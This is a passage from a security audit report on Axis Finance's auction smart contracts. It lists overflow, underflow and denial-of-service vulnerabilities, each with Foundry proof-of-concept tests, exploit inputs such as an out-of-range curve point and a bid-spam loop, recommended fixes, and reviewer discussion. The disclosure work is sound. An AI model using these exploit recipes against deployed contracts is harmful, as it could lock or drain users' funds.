        mockBaseToken.mint(alice, 100_000_000_000e18);
        mockBaseToken.approve(address(auctionHouse), type(uint256).max);

        FixedPriceAuctionModule.FixedPriceParams  memory myStruct =
↪   FixedPriceAuctionModule.FixedPriceParams({
            price: uint96(1e18),
            maxPayoutPercent: uint24(1e5)
        });

        Auctioneer.RoutingParams memory routingA = Auctioneer.RoutingParams({
            auctionType: keycode,
            baseToken: mockBaseToken,
            quoteToken: mockQuoteToken,
            curator: curator,
            callbacks: ICallback(address(0)),
            callbackData: abi.encode(""),
            derivativeType: toKeycode(""),
            derivativeParams: _derivativeParams,
            wrapDerivative: false,
            prefunded: true
        });

        Auction.AuctionParams memory paramsA = Auction.AuctionParams({
            start: 0,
            duration: 1 days,
            capacityInQuote: false,
            capacity: lotCapacity,
            implParams: abi.encode(myStruct)
        });

        string memory infoHashA;
        auctionHouse.auction(routingA, paramsA, infoHashA);
        vm.stopPrank();

        vm.startPrank(owner);
        FeeManager.FeeType type_ = FeeManager.FeeType.MaxCurator;
```

```
        uint48 fee = 7_500; // 7.5% max curator fee
        auctionHouse.setFee(keycode, type_, fee);
        vm.stopPrank();

        vm.startPrank(curator);
        uint96 fundingBeforeCuratorFee;
        uint96 fundingAfterCuratorFee;
        (,fundingBeforeCuratorFee,,,,,,) = auctionHouse.lotRouting(0);
        console2.log("Here is the funding normalized before curator fee is set:
↪  ", fundingBeforeCuratorFee/1e18);
        auctionHouse.setCuratorFee(keycode, fee);
        bytes memory callbackData_ = "";
        auctionHouse.curate(0, callbackData_);
        (,fundingAfterCuratorFee,,,,,,) = auctionHouse.lotRouting(0);
        console2.log("Here is the funding normalized after curator fee is set:
↪  ", fundingAfterCuratorFee/1e18);
        console2.log("Balance of base token of the auction house: ",
↪  mockBaseToken.balanceOf(address(auctionHouse))/1e18);
        vm.stopPrank();
    }
```

```
Logs:
  Here is the funding normalized before curator fee is set:  75000000000
  Here is the funding normalized after curator fee is set:  1396837485
  Balance of base token of the auction house:  80625000000
```

To run the test use: `forge test -vvv --mt test_CuratorFeeOverflow`

Impact

If there is an overflow occurs in the curate() function, a big portion of the tokens will be stuck in the `Axis-Finance` protocol forever, as there is no way for them to be withdrawn, either by an admin function, or by canceling the auction (if an auction has started, only **FPAM** auctions can be canceled), as the amount returned is calculated in the following way

```
if (routing.funding > 0) {
    uint96 funding = routing.funding;

    // Set to 0 before transfer to avoid re-entrancy
    routing.funding = 0;

    // Transfer the base tokens to the appropriate contract
    Transfer.transfer(
        routing.baseToken,
```

```
            _getAddressGivenCallbackBaseTokenFlag(routing.callbacks, routing.seller),
            funding,
            false
        );
        ...
    }
```

Code Snippet

https://github.com/sherlock-audit/2024-03-axis-finance/blob/main/moonraker/src/AuctionHouse.sol#L665-L667

Tool used

Manual review & Foundry

Recommendation

Either remove the unchecked block

```
unchecked {
    routing.funding += curatorFeePayout;
}
```

so that when overflow occurs, the transaction will revert, or better yet also change the funding variable type from `uint96` to `uint256` this way sellers can create big enough auctions, and provide sufficient curator fee in order to bootstrap their protocol successfully .

Discussion

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Axis-Fi/moonraker/pull/141

10xhash

> The protocol team fixed this issue in the following PRs/commits:
> Axis-Fi/moonraker#141

Fixed in https://github.com/Axis-Fi/moonraker/pull/130 by using uint256 hence avoiding unsafe casting. Confirmation tests added in PR 141

sherlock-admin4

The Lead Senior Watson signed off on the fix.

PseudoArtistHacks

I think all the issues regarding overflow/underflow should be duped with each other
The root cause of all the issues are same i.e unsafe casting

Issue H-8: It is possible to DoS batch auctions by submitting invalid AltBn128 points when bidding

Source: https://github.com/sherlock-audit/2024-03-axis-finance-judging/issues/147

Found by

hash, underdog

Summary

Bidders can submit invalid points for the AltBn128 elliptic curve. The invalid points will make the decrypting process always revert, effectively DoSing the auction process, and locking funds forever in the protocol.

Vulnerability Detail

Axis finance supports a sealed-auction type of auctions, which is achieved in the Encrypted Marginal Price Auction module by leveraging the ECIES encryption scheme. Axis will specifically use a simplified ECIES implementation that uses the AltBn128 curve, which is a curve with generator point (1,2) and the following formula:

$$y^2 = x^3 + 3$$

Bidders will submit encrypted bids to the protocol. One of the parameters required to be submitted by the bidders so that bids can later be decrypted is a public key that will be used in the EMPA decryption process:

```
// EMPAM.sol

function _bid(
        uint96 lotId_,
        address bidder_,
        address referrer_,
        uint96 amount_,
        bytes calldata auctionData_
    ) internal override returns (uint64 bidId) {
        // Decode auction data
        (uint256 encryptedAmountOut, Point memory bidPubKey) =
            abi.decode(auctionData_, (uint256, Point));

        ...
```

```
        // Check that the bid public key is a valid point for the encryption
↪   library
        if (!ECIES.isValid(bidPubKey)) revert Auction_InvalidKey();

       ...

        return bidId;
    }
```

As shown in the code snippet, bidders will submit a `bidPubKey`, which consists in an x and y coordinate (this is actually the public key, which can be represented as a point with x and y coordinates over an elliptic curve).

The `bidPubKey` point will then be validated by the ECIES library's `isValid()` function. Essentially, this function will perform three checks:

1. Verify that the point provided is on the AltBn128 curve
2. Ensure the x and y coordinates of the point provided don't correspond to the generator point (1, 2)
3. Ensure that the x and y coordinates of the point provided don't corrspond to the point at infinity (0,0)

```
// ECIES.sol

function isOnBn128(Point memory p) public pure returns (bool) {
        // check if the provided point is on the bn128 curve y**2 = x**3 + 3,
↪   which has generator point (1, 2)
        return _fieldmul(p.y, p.y) == _fieldadd(_fieldmul(p.x, _fieldmul(p.x,
↪   p.x)), 3);
    }

    /// @notice Checks whether a point is valid. We consider a point valid if it
↪   is on the curve and not the generator point or the point at infinity.
    function isValid(Point memory p) public pure returns (bool) {
        return isOnBn128(p) && !(p.x == 1 && p.y == 2) && !(p.x == 0 && p.y ==
↪   0);
    }
```

Although these checks are correct, one important check is missing in order to consider that the point is actually a valid point in the AltBn128 curve.

As a summary, ECC incorporates the concept of finite fields. Essentially, the elliptic curve is considered as a square matrix of size pxp, where p is the finite field (in our case, the finite field

defined in Axis' `ECIES.sol` library is stord in the `FIELD_MODULUS` constant with a value of `21888242871839275222246405745257275088696311157297823662689037894645226208583`). The curve equation then takes this form:

$$y2 = x^3 + ax + b(modp)$$

Note that because the function is now limited to a field of pxp, any point provided that has an x or y coordinate greater than the modulus will fall outside of the matrix, thus being invalid. In other words, if x > p or y > p, the point should be considered invalid. However, as shown in the previous snippet of code, this check is not performed in Axis' ECIES implementation.

This enables a malicious bidder to provide an invalid point with an x or y coordinate greater than the field, but that still passes the checked conditions in the ECIES library. The `isValid()` check will pass and the bid will be successfully submitted, although the public key is theoretically invalid.

This leads us to the second part of the attack. When the auction concludes, the decryption process will begin. The process consists in:

1. Calling the `decryptAndSortBids()` function. This will trigger the internal `_decryptAndSortBids()` function. It is important to note that this function will only set the status of the auction to `Decrypted` if ALL the bids submitted have been decrypted. Otherwise, the auction can't continue.
2. `_decryptAndSortBids()` will call the internal `_decrypt()` function for each of the bids submittted
3. `_decrypt()` will finally call the ECIES' `decrypt()` function so that the bid can be decrypted:

```
// EMPAM.sol

function _decrypt(
        uint96 lotId_,
        uint64 bidId_,
        uint256 privateKey_
    ) internal view returns (uint256 amountOut) {
        // Load the encrypted bid data
        EncryptedBid memory encryptedBid = encryptedBids[lotId_][bidId_];

        // Decrypt the message
        // We expect a salt calculated as the keccak256 hash of lot id,
↪  bidder, and amount to provide some (not total) uniqueness to the
↪  encryption, even if the same shared secret is used
        Bid storage bidData = bids[lotId_][bidId_];
        uint256 message = ECIES.decrypt(
```

```
            encryptedBid.encryptedAmountOut,
            encryptedBid.bidPubKey,
            privateKey_,
            uint256(keccak256(abi.encodePacked(lotId_, bidData.bidder,
↪   bidData.amount))) // @audit-issue [MEDIUM] - Missing bidId in salt
↪   creates the edge case where a bid susceptible of being discovered if a
↪   user places two bids with the same input amount. Because the same key
↪   will be used when performing the XOR, the symmetric key can be
↪   extracted, thus potentially revealing the bid amounts.
        );


        ...
    }
```

As shown in the code snippet, one of the parameters passed to the `ECIES.decrypt()` function will be the `encryptedBid.bidPubKey` (the invalid point provided by the malicious bidder). As we can see, the first step performed by `ECIES.decrypt()` will be to call the `recoverSharedSecret()` function, passing the invalid public key (`ciphertextPubKey_`) and the auction's global `privateKey_` as parameter:

```
// ECIES.sol

function decrypt(
        uint256 ciphertext_,
        Point memory ciphertextPubKey_,
        uint256 privateKey_,
        uint256 salt_
    ) public view returns (uint256 message_) {
        // Calculate the shared secret
        // Validates the ciphertext public key is on the curve and the
↪   private key is valid
        uint256 sharedSecret = recoverSharedSecret(ciphertextPubKey_,
↪   privateKey_);

        ...
    }

  function recoverSharedSecret(
        Point memory ciphertextPubKey_,
        uint256 privateKey_
    ) public view returns (uint256) {
          ...

        Point memory p = _ecMul(ciphertextPubKey_, privateKey_);
```

```
        return p.x;
    }

    function _ecMul(Point memory p, uint256 scalar) private view returns
↪   (Point memory p2) {
        (bool success, bytes memory output) =
            address(0x07).staticcall{gas: 6000}(abi.encode(p.x, p.y,
↪   scalar));

        if (!success || output.length == 0) revert("ecMul failed.");

        p2 = abi.decode(output, (Point));
    }
```

Among other things, `recoverSharedSecret()` will execute a scalar multiplication between the invalid public key and the global private key via the `ecMul` precompile. This is where the denial of servide will take place.

The ecMul precompile contract was incorporated in EIP-196. Checking the EIP's exact semantics section, we can see that inputs will be considered invalid if "... any of the field elements (point coordinates) is equal or larger than the field modulus p, the contract fails". Because the point submitted by the bidder had one of the x or y coordinates bigger than the field modulus p (because Axis never validated that such value was smaller than the field), the call to the ecmul precompile will fail, reverting with the "ecMul failed." error.

Because the decryption process expects ALL the bids submitted for an auction to be decrypted prior to actually setting the auctions state to `Decrypted`, if only one bid decryption fails, the decryption process won't be completed, and the whole auction process (decrypting, settling, ...) won't be executable because the auction never reaches the `Decrypted` state.

Proof of Concept

The following proof of concept shows a reproduction of the attack mentioned above. In order to reproduce it, following these steps:

1. Inside `EMPAModuleTest.sol`, change the `_createBidData()` function so that it uses the (21888242871839275222246405745257275088696311157297823662689037894645226 2) point instead of the `_bidPublicKey` variable. This is a valid point as per Axis' checks, but it is actually invalid given that the x coordinate is greater than the field modulus:

```
// EMPAModuleTest.t.sol
```


```
function _createBidData(
        address bidder_,
        uint96 amountIn_,
        uint96 amountOut_
    ) internal view returns (bytes memory) {
        uint256 encryptedAmountOut = _encryptBid(_lotId, bidder_,
↪   amountIn_, amountOut_);

-        return abi.encode(encryptedAmountOut, _bidPublicKey);
+        return abi.encode(encryptedAmountOut, Point({x: 218882428718392752
↪   222464057452572750886963111572978236626890378946452262085 84, y: 2}));
    }
```

2. Paste the following code in `moonraker/test/modules/auctions/EMPA/decryptAndSortBids.t.sol`:

```
// decryptAndSortBids.t.sol

function testBugdosDecryption()
        external
        givenLotIsCreated
        givenLotHasStarted
        givenBidIsCreated(_BID_AMOUNT, _BID_AMOUNT_OUT)
        givenBidIsCreated(_BID_AMOUNT, _BID_AMOUNT_OUT)
        givenLotHasConcluded
        givenPrivateKeyIsSubmitted
    {

        vm.expectRevert("ecMul failed.");
        _module.decryptAndSortBids(_lotId, 1);

    }
```

3. Run the test inside `moonraker` with the following command: `forge test --mt testBugdosDecryption`

Impact

High. A malicious bidder can effectively DoS the decryption process, which will prevent all actions in the protocol from being executed. This attack will make all the bids and prefunded auction funds remain stuck forever in the contract, because all the functions related to the post-concluded auction steps expect the bids to be first decrypted.

Code Snippet

https://github.com/sherlock-audit/2024-03-axis-finance/blob/main/moonraker/src/modules/auctions/EMPAM.sol#L250

https://github.com/sherlock-audit/2024-03-axis-finance/blob/main/moonraker/src/lib/ECIES.sol#L138

https://github.com/sherlock-audit/2024-03-axis-finance/blob/main/moonraker/src/lib/ECIES.sol#L133

Tool used

Manual Review, foundry

Recommendation

Ensure that the x and y coordinates are smaller than the field modulus inside the `ECIES.sol` `isValid()` function, adding the `p.x < FIELD_MODULUS && p.y < FIELD_MODULUS` check so that invalid points can't be submitted:

```
// ECIES.sol

function isValid(Point memory p) public pure returns (bool) {
-       return isOnBn128(p) && !(p.x == 1 && p.y == 2) && !(p.x == 0 && p.y ==
 ↪  0);
+       return isOnBn128(p) && !(p.x == 1 && p.y == 2) && !(p.x == 0 && p.y ==
 ↪  0) && (p.x < FIELD_MODULUS && p.y < FIELD_MODULUS);
   }
```

Discussion

0xJem

Duplicate of https://github.com/sherlock-audit/2024-03-axis-finance-judging/issues/185

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits: https://github.com/Axis-Fi/moonraker/pull/138

10xhash

> The protocol team fixed this issue in the following PRs/commits: Axis-Fi/moonraker#138

Fixed Now coordinates are checked to be less than FIELD_MODULUS

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue H-9: Downcasting to uint96 can cause assets to be lost for some tokens

Source: https://github.com/sherlock-audit/2024-03-axis-finance-judging/issues/181

Found by

FindEverythingX, hash, pseudoArtist

Summary

Downcasting to uint96 can cause assets to be lost for some tokens

Vulnerability Detail

After summing the individual bid amounts, the total bid amount is downcasted to uint96 without any checks

```
settlement_.totalIn = uint96(result.totalAmountIn);
```

uint96 can be overflowed for multiple well traded tokens:

Eg:

shiba inu : current price = $0.00003058 value of type(uint96).max tokens ~= 2^96 * 0.00003058 / 10^18 == 2.5 million $

Hence auctions that receive more than type(uint96).max amount of tokens will be downcasted leading to extreme loss for the auctioner

Impact

The auctioner will suffer extreme loss in situations where the auctions bring in >uint96 amount of tokens

Code Snippet

downcasting totalAmountIn to uint96 https://github.com/sherlock-audit/2024-03-axis-finance/blob/cadf331f12b485bac184111cdc9ba1344d9fbf01/moonraker/src/modules/auctions/EMPAM.sol#L825

Tool used

Manual Review

Recommendation

Use a higher type or warn the user's of the limitations on the auction sizes

Discussion

0xJem

Duplicate of #34

Oighty

Pretty similar to #209. Might be a duplicate.

nevillehuang

Agree both hinges on a high `totalAmountIn`

kosedogus

Escalate

Since there are minutes until the end of auction period, I might miss something, if that is the case sorry about that.

`_settle` calls `_getLotMarginalPrice` to get the `totalAmountIn`. The loop which adds `amountIn`'s to `totalAmountIn` does not add every individual bid, if the latest bid filled the capacity loop breaks. capacity is taken from lotData as we can see:

```
uint256 capacity = lotData[lotId_].capacity;
```

And the capacity in lotData is uint96:

```
    mapping(uint96 id => Lot lot) public lotData;
...
    struct Lot {
        uint48 start; // 6 +
        uint48 conclusion; //
        uint8 quoteTokenDecimals;
        uint8 baseTokenDecimals;
        bool capacityInQuote;
        uint96 capacity;
        uint96 sold;
        uint96 purchased;
        uint96 partialPayout;
    }
```

Hence the capacity itself is below max value of uint96 inherently, and if we exceed capacity with the latest bid, then loop breaks. So what happens to latest bid? It's

bidId is recorded and it is only partially filled, the excess is removed from `totalAmountIn` as we can see below:

```
if (result.capacityExpended >= capacity) {
    result.marginalPrice = price;
    result.marginalBidId = bidId;
    if (result.capacityExpended > capacity) {
        result.partialFillBidId = bidId;
    }
    break;
```

```
if (result.partialFillBidId != 0) {
    // Load routing and bid data
    Bid storage bidData = bids[lotId_][result.partialFillBidId];

    // Set the bidder on for the partially filled bid
    settlement_.pfBidder = bidData.bidder;
    settlement_.pfReferrer = bidData.referrer;

    // Calculate the payout and refund amounts
    uint256 fullFill =
        Math.mulDivDown(uint256(bidData.amount), baseScale,
↪   result.marginalPrice);
    uint256 excess = result.capacityExpended - capacity;
    settlement_.pfPayout = uint96(fullFill - excess);
    settlement_.pfRefund =
        uint96(Math.mulDivDown(uint256(bidData.amount), excess, fullFill));

    // Reduce the total amount in by the refund amount
    result.totalAmountIn -= settlement_.pfRefund;
```

Hence it seems like `totalAmountIn` can not possibly pass capacity which is uint96. If it can not pass uint96, there can't be any overflow.

sherlock-admin2

> Escalate
>
> Since there are minutes until the end of auction period, I might miss something, if that is the case sorry about that.
>
> `_settle` calls `_getLotMarginalPrice` to get the `totalAmountIn`. The loop which adds `amountIn`'s to `totalAmountIn` does not add every individual bid, if the latest bid filled the capacity loop breaks. capacity is taken from lotData as we can see:
>
> ```
> uint256 capacity = lotData[lotId_].capacity;
> ```


And the capacity in lotData is uint96:

```
    mapping(uint96 id => Lot lot) public lotData;
...
    struct Lot {
        uint48 start; // 6 +
        uint48 conclusion; //
        uint8 quoteTokenDecimals;
        uint8 baseTokenDecimals;
        bool capacityInQuote;
        uint96 capacity;
        uint96 sold;
        uint96 purchased;
        uint96 partialPayout;
    }
```

Hence the capacity itself is below max value of uint96 inherently, and if we exceed capacity with the latest bid, then loop breaks. So what happens to latest bid? It's bidId is recorded and it is only partially filled, the excess is removed from `totalAmountIn` as we can see below:

```
if (result.capacityExpended >= capacity) {
    result.marginalPrice = price;
    result.marginalBidId = bidId;
    if (result.capacityExpended > capacity) {
        result.partialFillBidId = bidId;
    }
    break;
```

```
if (result.partialFillBidId != 0) {
    // Load routing and bid data
    Bid storage bidData = bids[lotId_][result.partialFillBidId];

    // Set the bidder on for the partially filled bid
    settlement_.pfBidder = bidData.bidder;
    settlement_.pfReferrer = bidData.referrer;

    // Calculate the payout and refund amounts
    uint256 fullFill =
        Math.mulDivDown(uint256(bidData.amount), baseScale,
↪   result.marginalPrice);
    uint256 excess = result.capacityExpended - capacity;
    settlement_.pfPayout = uint96(fullFill - excess);
    settlement_.pfRefund =
        uint96(Math.mulDivDown(uint256(bidData.amount), excess, fullFill));
```

```
// Reduce the total amount in by the refund amount
result.totalAmountIn -= settlement_.pfRefund;
```

> Hence it seems like `totalAmountIn` can not possibly pass capacity which is uint96. If it can not pass uint96, there can't be any overflow.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

kosedogus

> Since there are minutes until the end of ***auction*** period, I might miss something, if that is the case sorry about that.

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Axis-Fi/moonraker/pull/130

nevillehuang

@kosedogus I do not quite get your escalation point. Maybe a PoC could help me decipher it. I see a clear loss of funds here from downcasting.

Cc @10xhash @Oighty

Oighty

Adding a bunch of `uint96` amounts together can exceed `type(uint96).max` so casting `totalAmountIn` from a `uint256` to a `uint96` can overflow.

kosedogus

What I was saying, **capacity** is itself uint96.During loop that adds amountIn's together, everything copied as a uint256 and calculations are done with uint256 so that overflow won't occur. If adding a bid to totalAmountIn made it pass **capacity** (which is normally uint96, but for the purpose of preventing overflow it is copied as uint256 before this check), then loop breaks. The amount that exceeds capacity removed from totalAmountIn before it is downcasted to uint96. So totalAmountIn can be at most same with **capacity** in the end, which is uint96. So there won't be overflow.

Evert0x

@nevillehuang any reply to the latest comment?

nevillehuang

@kosedogus @10xhash Could you guys verify the escalation comment? Based on comment here overflow is still possible no on the last bid added correct? I think a PoC could verify the claim and the issue.

10xhash

> @kosedogus @10xhash Could you guys verify the escalation comment? Based on comment here overflow is still possible no on the last bid added correct? I think a PoC could verify the claim and the issue.

The capacity is the amount of base token the seller wants to sell while amountIn is the amount of quote tokens that are paid by buyers. So the uint96 constrain on capacity is not related with totalAmountIn

Eg: uint96 capacity = 3 * 1e6 * 1e18; // 3million uint price = 32702 ; // price of usd in shiba uint totalAmountIn = capacity * price == 98106000000000000000000000000; // > uint96.max

this totalAmountIn can be sum of smaller bids ie. 10 bids each of 98106000000000000000000000000, where each is less than uint96.max

kosedogus

Yeah it was an oversight from my side I guess, thank you for clarification :)

0xJem

totalAmountIn is the sum of `amountIn` from bids (each of which is maximum uint96), and can overflow uint96. The lot capacity is unrelated to this.

10xhash

> The protocol team fixed this issue in the following PRs/commits: Axis-Fi/moonraker#130

Fixed uint256 is now used avoiding the unsafe casting

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Evert0x

@kosedogus do I understand correctly that you agree the issue is valid?

kosedogus

@Evert0x yes sir

Evert0x

Result: High Has Duplicates

sherlock-admin3

Escalations have been resolved successfully!

Escalation status:

- kosedogus: rejected

Issue H-10: Incorrect `prefundingRefund` calculation will disallow claiming

Source: https://github.com/sherlock-audit/2024-03-axis-finance-judging/issues/187

Found by

ether_sky, hash, joicygiore

Summary

Incorrect `prefundingRefund` calculation will lead to underflow and hence disallowing claiming

Vulnerability Detail

The `prefundingRefund` variable calculation inside the `claimProceeds` function is incorrect

```
function claimProceeds(
    uint96 lotId_,
    bytes calldata callbackData_
) external override nonReentrant {

    ...

    (uint96 purchased_, uint96 sold_, uint96 payoutSent_) =
        _getModuleForId(lotId_).claimProceeds(lotId_);

    ....

    // Refund any unused capacity and curator fees to the address dictated by
↪   the callbacks address
    // By this stage, a partial payout (if applicable) and curator fees have
↪   been paid, leaving only the payout amount (`totalOut`) remaining.
    uint96 prefundingRefund = routing.funding + payoutSent_ - sold_;
    unchecked {
        routing.funding -= prefundingRefund;
    }
```

Here `sold` is the total base quantity that has been sold to the bidders. Unlike required, the `routing.funding` variable need not be holding `capacity + (0,curator fees)` since it is decremented every time a payout of a bid is claimed

```
function claimBids(uint96 lotId_, uint64[] calldata bidIds_) external override
↪  nonReentrant {

    ....

        if (bidClaim.payout > 0) {

            ...

            // Reduce funding by the payout amount
            unchecked {
                routing.funding -= bidClaim.payout;
            }
```

Example

Capacity = 100 prefunded, hence routing.funding == 100 initially Sold = 90 and no partial fill/curation All bidders claim before the claimProceed function is invoked Hence routing.funding = 100 - 90 == 10 When claimProceeds is invoked, underflow and revert:

uint96 prefundingRefund = routing.funding + payoutSent_ - sold_ == 10 + 0 - 90

Impact

Claim proceeds function is broken. Sellers won't be able to receive the proceedings

Code Snippet

wrong calculation
https://github.com/sherlock-audit/2024-03-axis-finance/blob/cadf331f12b485bac184111cdc9ba1344d9fbf01/moonraker/src/AuctionHouse.sol#L604

Tool used

Manual Review

Recommendation

Change the calculation to:

```
uint96 prefundingRefund = capacity - sold_ + curatorFeesAdjustment (how much was
↪  prefunded initially - how much will be sent out based on capacity - sold)
```

Discussion

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Axis-Fi/moonraker/pull/140

10xhash

> The protocol team fixed this issue in the following PRs/commits:
> Axis-Fi/moonraker#140

Fixed Seller refund calculation is changed to `uint256 prefundingRefund = capacity_ - sold_ + maxCuratorPayout - curatorPayout`

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue M-1: Attacker can forbid users to get refunded if sends enough bids on the EMPAM module

Source: https://github.com/sherlock-audit/2024-03-axis-finance-judging/issues/41

Found by

0xR360, 0xmuxyz, FindEverythingX, shaka

Summary

When an auction starts an attacker can send enough encrypted bids to make future users that bid unable to be refunded.

Vulnerability Detail

An attacker can send valid bids with amounts equal to the minimum allowed amount for a bid. If enough bids are sent, users that bid after him won't be able to get refunded if they want to. Scenario:

- Attacker sends lots of bids just after auction creation.
- User sends bids
- User wants to refund some of them: The _refundBid function on the EMPAM module loops through all the bids to find the requested one, then pops it out of the decryption array. If there are too many bids before the one we are looking fur, gas can run out.

Impact

Breaks the refund functionality. User won't be able to refund bid. Possible loss of funds.

Code Snippet

https://github.com/sherlock-audit/2024-03-axis-finance/blob/main/moonraker/src/modules/auctions/EMPAM.sol#L284-L305

Putting this test on the EMPA refund bid tests file can show how its performed.

```
function test_audit_dos_bids() public givenLotIsCreated givenLotHasStarted
↪   givenBidIsCreated(2e18, 1e18){
    uint bidNums = 60000;
```

```
    //worst case scenario for attack is: max limit for block, only tx in the
↪   block. This doesnt take in account the gas spent on entrypoint.
    uint ETH_GAS_LIMIT = 30_000_000;

    // attacker bids
    for (uint i=0;i < bidNums; i++)
        _createBid(1e18, 1e18); //amount can be as small as possible

    uint64 normalUserBid = _createBid(2e18, 1e18);
    uint256 gasBefore = gasleft();

    vm.prank(address(_auctionHouse));
    uint256 refundAmount = _module.refundBid(_lotId, normalUserBid, _BIDDER);
    uint256 gasAfter = gasleft();

    uint256 gasUsed = gasBefore - gasAfter;
    assertEq(gasUsed > ETH_GAS_LIMIT,true, "out of gas");
}
```

Tool used

Manual Review

Recommendation

Instead of looping through each bidId, holding the index position of a non encrypted bid on a mapping should solve it. The mapping should be from bidId to its position in the array. When a bid is refunded, this position should also be changed for its replacement.

Discussion

nevillehuang

Believe #41 and #237 to not be duplicates based on different fix and code logic involved for (refunding/decrypting/settling mechanisms)

> The fix isn't the same because we need to remove a loop from the refundBid function. The settle fix involves refactoring to allow a multi-txn process or decreasing the gas cost of it. Not really a good way to remove the loop from settle

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Axis-Fi/moonraker/pull/145

10xhash

> The protocol team fixed this issue in the following PRs/commits:
> Axis-Fi/moonraker#145

Fixed Now the index of the bid to be refunded is passed avoiding the iteration of the entire list.

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue M-2: If pfBidder gets blacklisted the settlement process would be broken and every other bidders and the seller would lose their funds

Source:
https://github.com/sherlock-audit/2024-03-axis-finance-judging/issues/90

Found by

Avci, Aymen0909, FindEverythingX, bhilare_, jecikpo, merlin, poslednaya, seeques

Summary

During batch auction settlement, the bidder whos bid was partially filled gets the refund amount in quote tokens and his payout in base immediately. In case if quote or base is a token with blacklisted functionality (e.g. USDC) and bidder's account gets blacklisted after the bid was submitted, the settlement would be bricked and all bidders and the seller would lose their tokens/proceeds.

Vulnerability Detail

In the `AuctionHouse.settlement()` function there is a check if the bid was partially filled, in which case the function handles refund and payout immediately:

```
      // Check if there was a partial fill and handle the payout + refund
      if (settlement.pfBidder != address(0)) {
        // Allocate quote and protocol fees for bid
        _allocateQuoteFees(
          feeData.protocolFee,
          feeData.referrerFee,
          settlement.pfReferrer,
          routing.seller,
          routing.quoteToken,
          // Reconstruct bid amount from the settlement price and the amount out
          uint96(
            Math.mulDivDown(
              settlement.pfPayout, settlement.totalIn, settlement.totalOut
            )
          )
        );

        // Reduce funding by the payout amount
        unchecked {
          routing.funding -= uint96(settlement.pfPayout);
```

```
        }

        // Send refund and payout to the bidder
        //@audit if pfBidder gets blacklisted the settlement is broken
        Transfer.transfer(
          routing.quoteToken, settlement.pfBidder, settlement.pfRefund, false
        );

        _sendPayout(settlement.pfBidder, settlement.pfPayout, routing,
↪   auctionOutput);
      }
```

If `pfBidder` gets blacklisted after he submitted his bid, the call to `settle()` would revert. There is no way for other bidders to get a refund for the auction since settlement can only happen after auction conclusion but the `refundBid()` function needs to be called before the conclusion:

```
  function settle(uint96 lotId_)
    external
    virtual
    override
    onlyInternal
    returns (Settlement memory settlement, bytes memory auctionOutput)
  {
    // Standard validation
    _revertIfLotInvalid(lotId_);
    _revertIfBeforeLotStart(lotId_);
    _revertIfLotActive(lotId_); //@audit
    _revertIfLotSettled(lotId_);

   ...
}
```

```
  function refundBid(
    uint96 lotId_,
    uint64 bidId_,
    address caller_
  ) external override onlyInternal returns (uint96 refund) {
    // Standard validation
    _revertIfLotInvalid(lotId_);
    _revertIfBeforeLotStart(lotId_);
    _revertIfBidInvalid(lotId_, bidId_);
    _revertIfNotBidOwner(lotId_, bidId_, caller_);
    _revertIfBidClaimed(lotId_, bidId_);
    _revertIfLotConcluded(lotId_); //@audit
```

```
    // Call implementation-specific logic
    return _refundBid(lotId_, bidId_, caller_);
  }
```

Also, the `claimBids` function would also revert since the lot wasn't settled and the seller wouldn't be able to get his prefunding back since he can neither `cancel()` the lot nor `claimProceeds()`.

Impact

Loss of funds

Code Snippet

https://github.com/sherlock-audit/2024-03-axis-finance/blob/main/moonraker/src/AuctionHouse.sol#L503-L529 https://github.com/sherlock-audit/2024-03-axis-finance/blob/main/moonraker/src/modules/Auction.sol#L501-L516 https://github.com/sherlock-audit/2024-03-axis-finance/blob/main/moonraker/src/modules/Auction.sol#L589-L600 https://github.com/sherlock-audit/2024-03-axis-finance/blob/main/moonraker/src/modules/Auction.sol#L733-L741 https://github.com/sherlock-audit/2024-03-axis-finance/blob/main/moonraker/src/modules/auctions/EMPAM.sol#L885-L891

Tool used

Manual Review

Recommendation

Separate the payout and refunding logic for pfBidder from the settlement process.

Discussion

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits: https://github.com/Axis-Fi/moonraker/pull/140

10xhash

> The protocol team fixed this issue in the following PRs/commits: Axis-Fi/moonraker#140

Fixed Now the payment of partial bid is separated from the settlement

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue M-3: Unsold tokens from a FPAM auction, will be stuck in the protocol, after the auction concludes

Source: https://github.com/sherlock-audit/2024-03-axis-finance-judging/issues/94

Found by

Aymen0909, FindEverythingX, cu5t0mPe0, dimulski, ether_sky, hash, jecikpo, qbs, seeques, ydlee

Summary

The `Axis-Finance` protocol allows sellers to create two types of auctions: **FPAM** & **EMPAM**. An **FPAM** auction allows sellers to set a price, and a maxPayout, as well as create a prefunded auction. The seller of a **FPAM** auction can cancel it while it is still active by calling the cancel function which in turn calls the cancelAuction() function. If the auction is prefunded, and canceled while still active, all remaining funds will be transferred back to the seller. The problem arises if an **FPAM** prefunded auction is created, not all of the prefunded supply is bought by users, and the auction concludes. There is no way for the `baseTokens` still in the contract, to be withdrawn from the protocol, and they will be forever stuck in the `Axis-Finance` protocol. As can be seen from the below code snippet cancelAuction() function checks if an auction is concluded, and if it is the function reverts.

```
function _revertIfLotConcluded(uint96 lotId_) internal view virtual {
    // Beyond the conclusion time
    if (lotData[lotId_].conclusion < uint48(block.timestamp)) {
        revert Auction_MarketNotActive(lotId_);
    }

    // Capacity is sold-out, or cancelled
    if (lotData[lotId_].capacity == 0) revert Auction_MarketNotActive(lotId_);
}
```

Vulnerability Detail

Gist After following the steps in the above mentioned gist add the following test to the `AuditorTests.t.sol` file

```
function test_FundedPriceAuctionStuckFunds() public {
        vm.startPrank(alice);
        Veecode veecode = fixedPriceAuctionModule.VEECODE();
        Keycode keycode = keycodeFromVeecode(veecode);
```

```
        bytes memory _derivativeParams = "";
        uint96 lotCapacity = 75_000_000_000e18; // this is 75 billion tokens
        mockBaseToken.mint(alice, lotCapacity);
        mockBaseToken.approve(address(auctionHouse), type(uint256).max);

